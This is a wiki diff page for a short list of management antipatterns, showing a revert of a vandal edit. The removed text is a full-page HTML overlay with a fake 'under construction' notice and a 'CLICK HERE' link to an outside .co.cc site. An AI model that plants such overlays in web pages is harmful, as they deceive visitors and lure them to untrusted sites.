Management antipatterns

From CSSEMediaWiki
(Difference between revisions)
Jump to: navigation, search
m (Reverted edits by Ebybymic (Talk); changed back to last version by Matthew Harward)
 
Line 1: Line 1:
>A selection of a few existing management [[Antipatterns]]:
+
A selection of a few existing management [[Antipatterns]]:
  
 
*[[Continuous obsolescence]] - When technology changes so rapidly that the development can't keep up with current versions of the software. [[William Brown 1998|WB]]
 
*[[Continuous obsolescence]] - When technology changes so rapidly that the development can't keep up with current versions of the software. [[William Brown 1998|WB]]
 
*[[Design by committee]] - This antipattern results in a overtly complex system that lacks coherence. This can occur when the design team does not work together in a cohesive manner. [[William Brown 1998|WB]]
 
*[[Design by committee]] - This antipattern results in a overtly complex system that lacks coherence. This can occur when the design team does not work together in a cohesive manner. [[William Brown 1998|WB]]
*[[Golden hammer]] - When a single technique is applied "obsessively" to software problems. [[William Brown 1998|WB]]
+
*[[Golden hammer]] - When a single technique is applied "obsessively" to software problems. [[William Brown 1998|WB]]
 
*[[Lava flow]] - Dead and forgotten code that hardens and becomes unchanged as the system develops. Requires a change in development strategy. [[William Brown 1998|WB]]
 
*[[Lava flow]] - Dead and forgotten code that hardens and becomes unchanged as the system develops. Requires a change in development strategy. [[William Brown 1998|WB]]
 
*[[Mushroom management]] - This occurs when developers are separated from the end users. [[William Brown 1998|WB]]
 
*[[Mushroom management]] - This occurs when developers are separated from the end users. [[William Brown 1998|WB]]
  
 
[[Category: Anti-Patterns]]
 
[[Category: Anti-Patterns]]
 
----
 
<div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;">
 
----
 
=[http://agumadyfu.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]=
 
----
 
=[http://agumadyfu.co.cc CLICK HERE]=
 
----
 
</div>
 

Latest revision as of 03:23, 25 November 2010

A selection of a few existing management Antipatterns:

  • Continuous obsolescence - When technology changes so rapidly that the development can't keep up with current versions of the software. WB
  • Design by committee - This antipattern results in a overtly complex system that lacks coherence. This can occur when the design team does not work together in a cohesive manner. WB
  • Golden hammer - When a single technique is applied "obsessively" to software problems. WB
  • Lava flow - Dead and forgotten code that hardens and becomes unchanged as the system develops. Requires a change in development strategy. WB
  • Mushroom management - This occurs when developers are separated from the end users. WB
Personal tools